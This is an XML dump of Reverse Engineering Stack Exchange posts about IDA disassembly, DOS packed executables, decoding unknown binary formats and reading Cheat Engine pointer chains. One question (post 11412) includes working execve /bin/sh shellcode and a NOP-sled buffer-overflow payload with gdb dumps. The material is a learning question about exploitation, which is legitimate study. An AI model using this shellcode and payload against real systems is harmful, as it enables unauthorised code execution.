sub_407360&#xA;pop     esi&#xA;pop     ebp&#xA;retn    4&#xA;sub_407530      endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first half seems straight forward enough, 37628 bytes are allocated for a new object and &lt;code&gt;sub_406B30&lt;/code&gt; is a constructor for that object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_406B30      proc near                       ; CODE XREF: sub_407530+19&#xA;xor     eax, eax&#xA;push    esi&#xA;mov     esi, ecx&#xA;mov     dword ptr [esi], offset const Blah1::Blah2::`vftable'&#xA;mov     [esi+10h], eax&#xA;mov     [esi+8], eax&#xA;mov     [esi+0Ch], eax&#xA;mov     dword ptr [esi+4], offset const    Something::List&amp;lt;Blah1::Blah2::Blah3,-1&amp;gt;::`vftable'&#xA;mov     [esi+24h], eax&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Back to &lt;code&gt;sub_407530(size_t, int)&lt;/code&gt;, from &lt;code&gt;loc_407552&lt;/code&gt; down it's not clear to me what's happening:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The newly created object seems to be replacing the _ReaderWriterLock object (whose reference was moved to ESI earlier in the sub-routine), which doesn't make sense to me. It certainly doesn't seem like this would be a member function as I suspected.&lt;/li&gt;&#xA;&lt;li&gt;The new object (as a &lt;code&gt;this&lt;/code&gt; pointer via ECX), an explicit pointer to the new object, and the &lt;code&gt;char*&lt;/code&gt; from WinMain are being passed to a new sub routine. I don't understand why two pointers to the same object would be passed, although not incredibly important on its own it adds to my doubts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm interpreting this incorrectly, so this brings me to my question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Broadly speaking, is my thinking on track? Are there any obvious errors in my analysis so far?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, what is happening with &lt;code&gt;offset unk_8C16C0&lt;/code&gt; / &lt;code&gt;sub_687C30&lt;/code&gt; at the start, and how is &lt;code&gt;loc_407552&lt;/code&gt; in &lt;code&gt;sub_407530(size_t, int)&lt;/code&gt; related and interacting with it? Thanks for taking the time to read.&lt;/p&gt;&#xA;" OwnerUserId="14003" LastActivityDate="2016-01-26T13:07:48.577" Title="Global C++ classes/variables, strange initialisation" Tags="|ida|windows|decompilation|c++|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11412" PostTypeId="1" CreationDate="2015-11-26T20:24:54.617" Score="0" ViewCount="379" Body="&lt;p&gt;I am trying to overflow a buffer, which has a size of 0x201 bytes, and get a shellcode. The program that contains the buffer,there is a call to &lt;code&gt;ptrace()&lt;/code&gt; (on itself), therefore the shellcode I'm using calls fork and then &lt;code&gt;execve()&lt;/code&gt; (as a child process) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here is what I'm feeding the buffer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;payload5=&quot;\x6a\x32\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x02\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80&quot;&#xA;&#xA;canary=struct.pack('L', 3)&#xA;ret_addr=\x10\xda\xff\xff&#xA;s=50&#xA;&#xA;buf=(&quot;\x90&quot; * (buf_lenlen(payload5)s))+payload5+&quot;\x90&quot;*s+canary+&quot;\x90&quot;*4+ret_addr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is how my buffer looks like right after &lt;code&gt;strcpy()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xffffd9e0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffd9f0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda00: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda10: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda20: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda30: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda40: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda50: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda60: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda70: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda80: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffda90: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdaa0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdab0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdac0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdad0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdae0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdaf0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdb00: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdb10: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdb20: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdb30: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdb40: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdb50: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdb60: 0x90909090  0x90909090  0x90909090  0x6a909090&#xA;0xffffdb70: 0xcd995832  0x89c38980  0x58466ac1  0x02b080cd&#xA;0xffffdb80: 0x0bb080cd  0x2f6e6852  0x2f686873  0x8969622f&#xA;0xffffdb90: 0xcdd189e3  0x90909080  0x90909090  0x90909090&#xA;0xffffdba0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdbb0: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffdbc0: 0x90909090  0x03909090  0x90909090  0xffffda10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I am definitely correctly overwriting the &lt;code&gt;eip&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Stack level 0, frame at 0xffffdbd0:&#xA;eip = 0x8048595 in vulnerable; saved eip = 0xffffda10&#xA;called by frame at 0x90909098&#xA;Arglist at 0xffffdbc8, args: &#xA;Locals at 0xffffdbc8, Previous frame's sp is 0xffffdbd0&#xA;Saved registers:&#xA;   ebp at 0xffffdbc8, eip at 0xffffdbcc`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I am segfaulting at &lt;code&gt;0xffffdbc6&lt;/code&gt; which goes past my return address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/i 0xffffdbc6&#xA;=&amp;gt; 0xffffdbc6:  add    %ch,0x6e(%ecx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the shell in &lt;code&gt;gdb&lt;/code&gt; if i set &lt;code&gt;follow-fork-mode&lt;/code&gt; child, and avoid segfaulting. But, when I call the actual program, I never get the shell (&lt;code&gt;jobs -l Segmentation fault&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would think that the problem is with shellcode, when I used regular &lt;code&gt;execve&lt;/code&gt; shellcode, my shell would just be killed (no segfault), but exactly the same shellcode has proven to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I really don't know where the problem is...&lt;/p&gt;&#xA;" OwnerUserId="14230" LastEditorUserId="53" LastEditDate="2015-11-26T20:45:31.637" LastActivityDate="2015-11-26T20:47:06.207" Title="buffer overflow-seg fault" Tags="|assembly|gdb|shellcode|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11413" PostTypeId="2" ParentId="11412" CreationDate="2015-11-26T20:36:44.853" Score="1" Body="&lt;p&gt;So, I can't comment yet and I don't have the full answer but it appears that your program is segfaulting within your nopsled.  I think you are incorrect in stating that  &lt;code&gt;0xffffdbc6&lt;/code&gt; is past your return address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xffffdbc0: 0x90909090  0x03909090  0x90909090  0xffffda10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is what you list as the bottom of your stack ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is it rewritten:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xffffdbc0: 0x90909090  &#xA;0xffffdbc4: 0x03909090&#xA;0xffffdbc8: 0x90909090&#xA;0xffffdbcc: 0xffffda10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, &lt;code&gt;0xffffdbc6&lt;/code&gt; is NOT past your return address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could be wrong on this but I don't think I am. Isn't &lt;code&gt;0x03&lt;/code&gt; a breakpoint?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be causing you issues when you run the shellcode?  Maybe your shellcode doesn't exit gracefully, and so it's crashing even though you are forking.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="14227" LastEditorUserId="53" LastEditDate="2015-11-26T20:47:06.207" LastActivityDate="2015-11-26T20:47:06.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11414" PostTypeId="2" ParentId="11402" CreationDate="2015-11-26T21:00:49.543" Score="6" Body="&lt;p&gt;Try using IDC function &lt;code&gt;StartDebugger&lt;/code&gt;. You can pass a C-style string (e.g. &lt;code&gt;&quot;\x55\x89\xe5&quot;&lt;/code&gt;)for program arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;***********************************************&#xA;** Launch the debugger&#xA;   arguments:&#xA;        path - path to the executable file.&#xA;        args - command line arguments&#xA;        sdir - initial directory for the process&#xA;for all args: if empty, the default value from the database will be used&#xA;   returns: -1-failed, 0-cancelled by the user, 1-ok&#xA;   See the important note to the StepInto() function&#xA;&#xA;long StartDebugger(string path, string args, string sdir);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2015-11-26T21:00:49.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11415" PostTypeId="2" ParentId="11411" CreationDate="2015-11-27T12:31:33.417" Score="1" Body="&lt;p&gt;call 407530 tries to allocates memory&lt;br&gt;&#xA;if memory allocation succeeded 406b30 is called&lt;br&gt;&#xA;this call initializes  unk_804xxxx with stuff&lt;br&gt;&#xA;if memory allocation failed  unk_804xxxx is intialised with 0    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    test    eax, eax&#xA; |&amp;lt;--jz      short loc_407550&#xA; |   mov     ecx, eax  &amp;lt;----------- address of newly allocated memory&#xA; |   call    sub_406B30 &#xA; |&#xA; |--&amp;gt;407550: xor     eax, eax &amp;lt;--------- else 0 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;both paths success and failure of memory allocation are lead to 407552&lt;br&gt;&#xA;  if failure eax holds 0&lt;br&gt;&#xA;  if success it holds the return from 406b30 (possibly the return from new();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 407552:mov     [esi], eax   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;esi holds the offset_unk_80xxx&lt;/code&gt; here as well as inside the call&lt;br&gt;&#xA; so ultimately offset_unk_80xxx is initialised with either 0&lt;br&gt;&#xA; or address of memory allocation  &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-11-27T12:31:33.417" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11416" PostTypeId="1" AcceptedAnswerId="11427" CreationDate="2015-11-27T15:07:25.083" Score="2" ViewCount="1646" Body="&lt;p&gt;for hobby I'm just trying to reverse and old DOS game executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm quite new with reversing so I'm having hard time understanding some bits about IDA Pro. I let the program choose the best-fit strategy to disassemble the executable and it seems to work fine but some procedures are left unrecognized (marked in red) as in the picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ksgSR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksgSR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I see that I can explicitly mark this as a function but then I'm not able to find any xref to it (also because I guess IDA would already have turned them into procedures if it was the case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering what is the exact purpose of these functions, are they called by dynamically generating the address to them or what? Like a &lt;code&gt;CALL&lt;/code&gt; instruction to the content of a register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A side question: I see that the binary had been split into 4 segments category:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;code (clear intent)&lt;/li&gt;&#xA;&lt;li&gt;data (clear intent)&lt;/li&gt;&#xA;&lt;li&gt;stub&lt;/li&gt;&#xA;&lt;li&gt;overlay&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While the first two, coming from a C/C++ environment are quite clear I'm trying to understand exactly what the other two are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understood it correctly stub segments are just bridges to procedures which are far from the current executing segment, while overlay segments are segments which are replaced at runtime over the same piece of memory to let the program work with much more code than the addressable space. Is there any good tutorial about this kind of memory management in the old times?&lt;/p&gt;&#xA;" OwnerUserId="14260" LastActivityDate="2015-11-28T10:48:35.650" Title="Unrecognized procedures in IDA Pro" Tags="|ida|dos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11417" PostTypeId="1" AcceptedAnswerId="11420" CreationDate="2015-11-27T16:24:05.547" Score="1" ViewCount="511" Body="&lt;p&gt;This question is based off of my answer to a world building question: &lt;a href=&quot;https://worldbuilding.stackexchange.com/questions/30471/how-could-a-blind-alien-race-interpret-video-broadcast-into-space/30497?noredirect=1#comment80601_30497&quot;&gt;https://worldbuilding.stackexchange.com/questions/30471/how-could-a-blind-alien-race-interpret-video-broadcast-into-space/30497?noredirect=1#comment80601_30497&lt;/a&gt;  In which I argued that aliens wouldn't be able to interpret out data because they couldn't reliably reverse engineer captured signals.  I'm not asking anyone to answer that question in it's entirety, but I do want to check my basic assumption in one area; and besides I'm now curious as a programmer who keeps trying to come up with ways to solve the challenge lol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that you were handed a huge collection of binary data in a completely foreign format, with no other knowledge about it other then the fact that it was not encrypted or intentionally obfuscated, and you don't know what is encoded (video, picture, executable program etc), how feasible is it to reverse engineer it to figure out the how to interpret the data?  That is to say how hard is it to both 'crack' the encoding algorithm, and how hard is it to correctly identify what type of data was originally encoded to begin with?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Closely related, how likely is it to get a 'false positive' by coming up with an interpretation that looks valid but is not how the data was actually encoded?  Or even come up with an entirely different type of encoded data (thinking an audio encoding was video etc)&lt;/p&gt;&#xA;" OwnerUserId="14264" LastEditorUserId="-1" LastEditDate="2017-04-13T12:52:35.667" LastActivityDate="2015-11-28T05:28:20.993" Title="How hard is it to interpret binary data of a new and unknown format, if it's unknown what data is encoded?" Tags="|binary-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11419" PostTypeId="1" AcceptedAnswerId="11421" CreationDate="2015-11-27T19:35:26.647" Score="3" ViewCount="714" Body="&lt;p&gt;So I have finished step 8 of the Cheat Engine tutorial and obtained a static address with corresponding offsets to manipulate a value which should be changed to progress in the tutorial. The expression I obtained looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[[[[[00645390]+C]+14]+0]+18]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to go a step further and write a simple (either C++ or C#) program which will access the value stored at this spot and both read from the memory and write to it. What I am not sure about yet is how to access this particularly. I guess it isn't as easy as directly accessing the address &lt;code&gt;00645390&lt;/code&gt; in memory - do I have to add it to the base address of the application itself? If yes, how may I acquire the address to start working through all those pointers?&lt;/p&gt;&#xA;" OwnerUserId="13656" LastActivityDate="2015-11-28T06:55:30.227" Title="Using multilevel pointers obtained via cheat engine in own application" Tags="|windows|debugging|tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11420" PostTypeId="2" ParentId="11417" CreationDate="2015-11-27T19:50:44.353" Score="2" Body="&lt;p&gt;Let's say this was the entirety of your random message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone familiar with &lt;a href=&quot;https://en.wikipedia.org/wiki/ASCII&quot; rel=&quot;nofollow&quot;&gt;ASCII&lt;/a&gt; would be able to tell you that is the binary representation of the letter 'A'.  However, in your scenario there is no context to suggest that this is ASCII so it is just as likely to be an 8-bit representation of the following flags for a hamburger order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0 = No cheese&lt;/li&gt;&#xA;&lt;li&gt;1 = Add pickles&lt;/li&gt;&#xA;&lt;li&gt;0 = No ketchup&lt;/li&gt;&#xA;&lt;li&gt;0 = No mustard&lt;/li&gt;&#xA;&lt;li&gt;0 = No onion&lt;/li&gt;&#xA;&lt;li&gt;0 = No tomato&lt;/li&gt;&#xA;&lt;li&gt;0 = No lettuce&lt;/li&gt;&#xA;&lt;li&gt;1 = Double patty&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And if the above is also not the case, maybe it is actually two separate 4-bit fields used in a multi-part messaging scheme.  Or a 5-bit and a 3-bit right after?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the complexity of determining for certain what just a single byte means (assuming the message under examination actually knows what the concept of a byte is) imagine how difficult it would be to do this for a message of several kilobytes or larger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You had also mentioned, however, that we would be given a large sample of data to work with.  This would provide an analyst with more context, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Possible patterns in the bits&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Certain bits that are always 0 or always 1&lt;/li&gt;&#xA;&lt;li&gt;Repeating chunks of the same 20 bits&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Similarity to other well-known formats&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The message may use frames&lt;/li&gt;&#xA;&lt;li&gt;There may be identifiable headers and footers within the messages&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Context is important, though in regards to false positives even with context you can come up with the wrong answer.  In crypto terms, given a random ciphertext you can literally come up with any plaintext if you apply the right key.  Similarly, going back to the top of my answer, the 8-bit message I posted could be interpreted in many ways, any of which could be valid in a given application.&lt;/p&gt;&#xA;" OwnerUserId="14258" LastActivityDate="2015-11-27T19:50:44.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11421" PostTypeId="2" ParentId="11419" CreationDate="2015-11-27T21:29:13.953" Score="2" Body="&lt;p&gt;you need OpenProcess()-&gt;ReadprocessMemory() and or QueryVirtualEx()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use lkd or livekd to achieve the result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;livekd.exe&#xA;kd&amp;gt; !process 0 0&#xA;................&#xA;PROCESS 89d1d328  SessionId: 0  Cid: 0238    Peb: 7ffde000  ParentCid: 075c&#xA;    DirBase: 14980320  ObjectTable: e14106f0  HandleCount:  23.&#xA;    Image: Tutorial-i386.exe&#xA;........................&#xA;kd&amp;gt; .process /p /r 89d1d328&#xA;Implicit process is now 89d1d328&#xA;Loading User Symbols&#xA;.................&#xA;kd&amp;gt; ? poi(poi(poi(poi(poi(645390)+c)+14)+0)+18)&#xA;Evaluate expression: 1666 = 00000682]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b825y.png&quot; alt=&quot;[1]&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a sample code that employs &lt;code&gt;dbgeng functions&lt;/code&gt; from windbg sdk&lt;br&gt;&#xA;error checks dbg prints removed for brevity&lt;br&gt;&#xA;assumes the module address space is &lt;code&gt;not randomised / rebased&lt;/code&gt;  (so uses &lt;code&gt;645390&lt;/code&gt; as it is )&lt;br&gt;&#xA;else you may need to find the module base from Ce calculate R&lt;code&gt;VA from address (645390 -modbase)&lt;/code&gt;&lt;br&gt;&#xA;in your code find the modbase and add the calculated rva to read the pointer&lt;br&gt;&#xA;&lt;code&gt;if modbase&lt;/code&gt; in your code was &lt;code&gt;400000&lt;/code&gt; and &lt;code&gt;rva&lt;/code&gt; was &lt;code&gt;1390&lt;/code&gt; use &lt;code&gt;401390&lt;/code&gt; instead of &lt;code&gt;645390&lt;/code&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;engextcpp.hpp&amp;gt;&#xA;int __cdecl main( void  ){&#xA;    IDebugClient*     g_Client      = NULL;&#xA;    IDebugControl*    g_Control     = NULL;&#xA;    IDebugSymbols*    g_Symbols     = NULL;&#xA;    IDebugDataSpaces* g_Data        = NULL;&#xA;    ULONG             Pid           = NULL;&#xA;    ULONG             bytesread     = NULL;&#xA;    ULONG             ptr           = NULL;&#xA;    DebugCreate( __uuidof(IDebugClient), (void**)&amp;amp;g_Client );&#xA;    g_Client-&amp;gt;QueryInterface( __uuidof(IDebugControl), (void**)&amp;amp;g_Control );&#xA;    g_Client-&amp;gt;QueryInterface( __uuidof(IDebugSymbols), (void**)&amp;amp;g_Symbols );&#xA;    g_Client-&amp;gt;QueryInterface( __uuidof(IDebugDataSpaces), (void**)&amp;amp;g_Data );&#xA;    g_Client-&amp;gt;GetRunningProcessSystemIdByExecutableName(&#xA;        0,&quot;Tutorial-i386.exe&quot;,DEBUG_GET_PROC_ONLY_MATCH,&amp;amp;Pid);&#xA;    g_Client-&amp;gt;AttachProcess(0,Pid,DEBUG_ATTACH_NONINVASIVE);&#xA;    g_Control-&amp;gt;WaitForEvent( 0, INFINITE );&#xA;    g_Data-&amp;gt;ReadVirtualUncached(0x645390,&amp;amp;ptr,sizeof(ptr),&amp;amp;bytesread);&#xA;    g_Data-&amp;gt;ReadVirtualUncached((ptr+0xc),&amp;amp;ptr,sizeof(ptr),&amp;amp;bytesread);&#xA;    g_Data-&amp;gt;ReadVirtualUncached((ptr+0x14),&amp;amp;ptr,sizeof(ptr),&amp;amp;bytesread);&#xA;    g_Data-&amp;gt;ReadVirtualUncached((ptr+0x0),&amp;amp;ptr,sizeof(ptr),&amp;amp;bytesread);&#xA;    g_Data-&amp;gt;ReadVirtualUncached((ptr+0x18),&amp;amp;ptr,sizeof(ptr),&amp;amp;bytesread);&#xA;    printf(&quot;%-15s%d\n&quot;,&quot;5th lvl ptr =&quot;, ptr);&#xA;    g_Client-&amp;gt;DetachProcesses();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Abh6p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Abh6p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-11-28T06:55:30.227" LastActivityDate="2015-11-28T06:55:30.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11422" PostTypeId="2" ParentId="11416" CreationDate="2015-11-28T00:44:53.493" Score="1" Body="&lt;p&gt;The code you are looking at is likely packed because it has that &lt;a href=&quot;http://www.sevagas.com/Code-segment-encryption&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;stub&lt;/strong&gt; segment&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Software vendors and malware authors pack their executables to make reverse engineering more difficult since most of the binary will appear as &quot;compressed&quot; data (non-machine instructions). Only the very first instructions should be apparent and will likely not be in the .text segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case, then the binary will unpack itself during execution. This unpacking procedure will &quot;decompress&quot; the &quot;compressed&quot; data and reveal more valid machine instructions which will later be executed. The unpacking stub could also set global variables or dynamically allocate memory that will potentially hold function pointers to that procedure you are looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the code in the &lt;strong&gt;.stub&lt;/strong&gt; segment should contain many mathematical instructions such as &lt;strong&gt;xor reg1, reg2&lt;/strong&gt; (where reg1 and reg2 differ), &lt;strong&gt;shr&lt;/strong&gt;, &lt;strong&gt;shl&lt;/strong&gt;, &lt;strong&gt;ror&lt;/strong&gt;, &lt;strong&gt;rol&lt;/strong&gt;, etc... with many jumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, you are not seeing any xrefs to that function because IDA cannot find that subroutine called in the disassembly because it is possibly referenced by a global variable or via a dynamic allocation on the heap during the unpacking procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a small possibility that the authors of that executable forgot to call that procedure. &lt;/p&gt;&#xA;" OwnerUserId="13909" LastActivityDate="2015-11-28T00:44:53.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11423" PostTypeId="2" ParentId="11417" CreationDate="2015-11-28T05:28:20.993" Score="1" Body="&lt;p&gt;Encodings of transmissions such as TV, radio, microwave data transmissions, occur at a number of different layers. Essentially there is a protocol stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone looking at a transmission can infer information in a lot of ways. The mere existence of a signal with enough pattern to suggest intelligent life communicates a lot - a lot more than just &quot;there's other intelligent life&quot;. The volume of transmissions alone would say a lot, especially if observed across decades. The timing of transmissions would suggest things like: night and day correspond to different levels and kinds of activities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting at the bottom of the transmission's &quot;stack&quot;, a few suppositions could be made: light seems to be the only reasonable transmission medium at distances where &quot;alien&quot; makes sense. Up until 20 or so years ago, a good percentage of the transmissions from earth were analog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the lowest &quot;protocol&quot; level our methods for analog encoding info onto light were pretty simple: vary amplitude, vary frequency, vary phase. So it seems like most &quot;aliens&quot; capable of receiving electromagnetic (light) transmissions would be able to detect the fact that our transmissions varied one or two of these very basic properties. And with that they begin the decoding process. If they received an AM radio transmission, it would be easy to recover the original waves of what we call sound. Assuming the aliens had some sense that responded to our &quot;sound&quot; waves (or alternatively responded directly to the raw AM waves), they could &quot;hear&quot; the message pretty much the same way the radio station created it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They would then have the problem of interpreting our language, but it's not much of a stretch (though it might take a long time) to imagine that happening, given what linguists on Earth are capable of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once they've decoded AM radio and some of our natural languages, then decoding something else, maybe FM radio, becomes much easier. From there, maybe not too hard to decode the audio portion of TV signals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decoding video would be greatly aided if the aliens had a sense(s) similar to (or the same as) sight and had similar persistence of vision. Someone analyzing a video transmission at the lowest level could piece together several layers of repetition: the scan lines repeat something like 15000 times a second and the frames repeat about 30 times a second and the frames might be interlaced. One could see that each scan line is usually pretty similar to the one before it. A map could be drawn that shows how each scan line morphs into the line that follows it. After drawing a few hundred of those a frame would appear. Also the vertical blanking interval would be a clue that would signal the end of one frame and the beginning of the next. Each frame would generally look similar to the previous one, but usually some changes. This would suggest a series of pictures of something that changes over time. In other words video. The accompanying audio could be easily correlated with the movement of mouths, things impacting each other, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the decoding of analog TV, it then becomes possible to associate spoken language with written language, from both sub titles and TV ads. And a whole lot of cultural info could be gleaned by watching TV and listening to radio. It would become clear what kind of things we cared about in these transmissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when it came to decoding digital transmissions a whole lot of groundwork would already have done. For example, seeing TV broadcasts with a lot of information about the stock market would go a long way towards decoding contemporaneous digital transmissions about the stock market.&lt;/p&gt;&#xA;" OwnerUserId="3533" LastActivityDate="2015-11-28T05:28:20.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
